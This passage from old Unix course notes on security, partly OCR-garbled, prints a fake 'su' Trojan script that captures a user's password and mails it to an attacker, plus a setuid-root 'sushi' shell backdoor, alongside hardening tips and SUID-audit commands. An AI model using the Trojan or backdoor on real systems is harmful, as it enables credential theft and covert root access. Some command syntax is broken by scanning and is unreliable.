Working with the Unix OS

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Unix Security $ crypt < exam320.Z > exam320.Z.encrypted Better Unix versions have "vi -x" option. A Horse named "su" stty –echo # turn off character echo echo -n "Password: " # -n = no new line read PASSWORD echo # Linefeed echo "Password of $1 is $ PASSWORD " | mail nasty & sleep 1 echo Sorry rm su # Leave no trace of the Trojan, next time the real "su" will run Spoof - Run by "nasty-user" - "nasty" is still logged in - Typically tricks unsuspecting user into thinking they're logging on and giving away their password Trojan Horse - Program executed by unsuspecting user - Tricks the unsuspecting user into thinking that the program only performs a safe function - Usually the same name as a safe program or as a program to perform some other function - On Unix, it's usually in a $PATH directory Special Trojans Viruses - Modifies other programs to make them into similar Trojans, hence "infecting" other programs - Can spread throughout a system Time bombs - Waits until a given time before it performs the nasty deed e.g. 1st April Worms - Virus that can spread across a network - The Internet Worm Hints for good security - Do not have a guest account (has no password) - Ensure all users have an initial password - Check filesystem regularly for Setuid/Setgid programs - Disallow 'w' permissions on directories - Use "/bin/su" to become root. (Ideally only permit su to work for "sysprog" group members) - Device files should be protected (esp. disk, memory) - To avoid Trojans, put "." at end of your $PATH (Don't include "." at all you're root) - Educate your users well in basic security - Hire staff you can trust!! - Especially systems programmers Summary of Major Unix Security Weaknesses - Super User omnipotence - setuid/setgid if abused or unaccounted - Special files (/dev) - Temporary files - Spoofs/Trojans Secure Versions of Unix Orange Book - US Defense standards of computer security Al, A2, A3 Highest Security Bl, B2, B3 Cl, C2, C3 Lowest Security 203
Unix Security - HP-UX V7.0 is C2 level - OSF will soon use Mach kernel = B2 security Sushi - first thing a bad person might try once root # cp /bin/sh /own/bad/sushi # chmod 4755 /own/bad/sushi - untraceable access via super-user shell interactive $ cd /own/bad $ sushi # - never let anyone use root password or login - no program that is SUID root should be writable - don't use any SUID shell programs - checks for SUID programs - do not use SUID on programs with a shell escape - use chmod 4755 not chmod +s - restrict chown to root find / -user root -perm -4000 -exec ls -l () \; \ | mail root # setuid find 'echo $PATH | tr ":" " "’ -perm -0002 –exec ls -l ()\; \ | mail root # writable Crontab /usr/lib/crontab /usr/lib/atrun is started by cron every 10 minutes User Protection - Horne directories should not be writable find 'awk -F: '{print $6}' /etc/passwd' \ -prune -perm -02 -exec ls -ld '{}' \; - Users .profile, .cshrc, .login, etc find 'awk -F: '{print "%s/.profile\n", $6}' /etc/passwd' \ -prune -perm -022 -exec ls -1 '{}' \; - Users .rhosts not readable or writable find 'awk -F: '(print "%s/.rhosts\n", $6)' /etc/passwd' \ -prune -perm -066 -exec ls -1 '{}' \; Device Files - Protect memory and swap files: mem, krnem, swap. - All devices should be in /dev # find devices outside /dev find / -hidden -name /dev -prune -o -type b -exec ls -1 {} \; # before mounting disks check for SUID files ncheck -s /dev/dsk/[device name] # disable SUID files /etc/mount -o nosuid /dev/dsk/[device name] [mount point] - Write protect all disk special files to stop corruption - Read protect disk special files to prevent disclosure - Individual users should never own a device file other than a terminal device Network Security 204
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UNIVERSITY OF ATHENS DEPARTMENT OF
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Figure 27. Driver Entry Points.....
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Introduction to Unix ! Execution ma
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Introduction to Unix It works in th
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Introduction to Unix * matches 0 or
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Introduction to Unix vi file-name s
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Introduction to Unix 1,$s/^/>>/ 1,$
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Introduction to Unix ! Special Devi
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Introduction to Unix Working with F
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Introduction to Unix ! Communicatio
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Unix Shells 2. UNIX SHELLS Back Quo
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Unix Shells ! CASE Statement case t
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Unix Shells two lines !Y@Y@Z@Z@ZY c
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Unix Shells if $append then tee -a
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C Programming - Basics main() { int
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C Programming - Basics e.g. i += 2
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External Variables A C program cons
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C Programming - Basics main.c #incl
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C Programming - Basics default: pri
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C Programming - Basics struct tnode
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Unix Tools 4. UNIX TOOLS Tools of t
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Unix Tools Korn shell ! .profile HI
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Unix Tools grep "$name" $PHONEBOOK
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Unix Tools awk '$3 > 0 { print $1,
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Unix Tools END { print max, maxline
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Unix Tools Let an example input fil
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Unix Tools Brown eqn 1 # output Jon
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Development Tools Make looks at the
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Development Tools /* compute size o
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Development Tools #endif #line cons
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Development Tools 1.1 5 lines Retri
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Development Tools In Emacs, you may
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Development Tools */ %{ #define YYS
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C Libraries 6. C LIBRARIES Input an
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C Libraries } while (!feof(fp1)) pu
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C Libraries } free(p); /* what is w
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C Libraries } if ((fp->flag&( _READ
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C Libraries /* dirwalk: apply fcn t
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C Libraries } switch (pid=fork()){
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C Libraries What is curses? - libra
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C Libraries } if ((fd=fopen(argv[1]
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Introduction to kernel 7. INTRODUCT
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82 Introduction to kernel Programs
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Introduction to kernel } { printf("
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Introduction to kernel The kernel r
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Introduction to kernel UNIX Interna
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Introduction to kernel File System
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Introduction to kernel Every proces
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Processes I Process States 1. Execu
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Processes I } printf("%d %s\n", cnt
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Processes I dup (and other similar
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Processes I The u area contains - p
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Processes I The Context of a Proces
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Processes I Process Control use and
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Processes I Although the processes
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Processes I Handling Signals - proc
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Processes I USER=neville PATH=/user
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Processes I ! Shadow Password /etc/
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struct timeval { long tv_sec; /* se
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Processes I F_SETFL set status flag
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Processes I process is the child pr
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Processes I Rules about sharing of
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Processes II 9. PROCESSES (II) FORK
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Processes II /* background.c */ #in
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Processes II } while (1){ printf("p
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Processes II } /* child */ signal (
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Processes II int readline(int fd, c
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Processes II { } char process_name[
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Processes II - Pipe in a single pro
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Processes II System V IPC - message
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Processes II int msgctl(int msqid,
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Processes II For every semop operat
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Processes II /* client loop */ mesg
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I/O Subsystem Drivers frequently sl
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I/O Subsystem Terminal Drivers - In
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I/O Subsystem Canonical Mode algori
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I/O Subsystem Raw Mode Raw mode is
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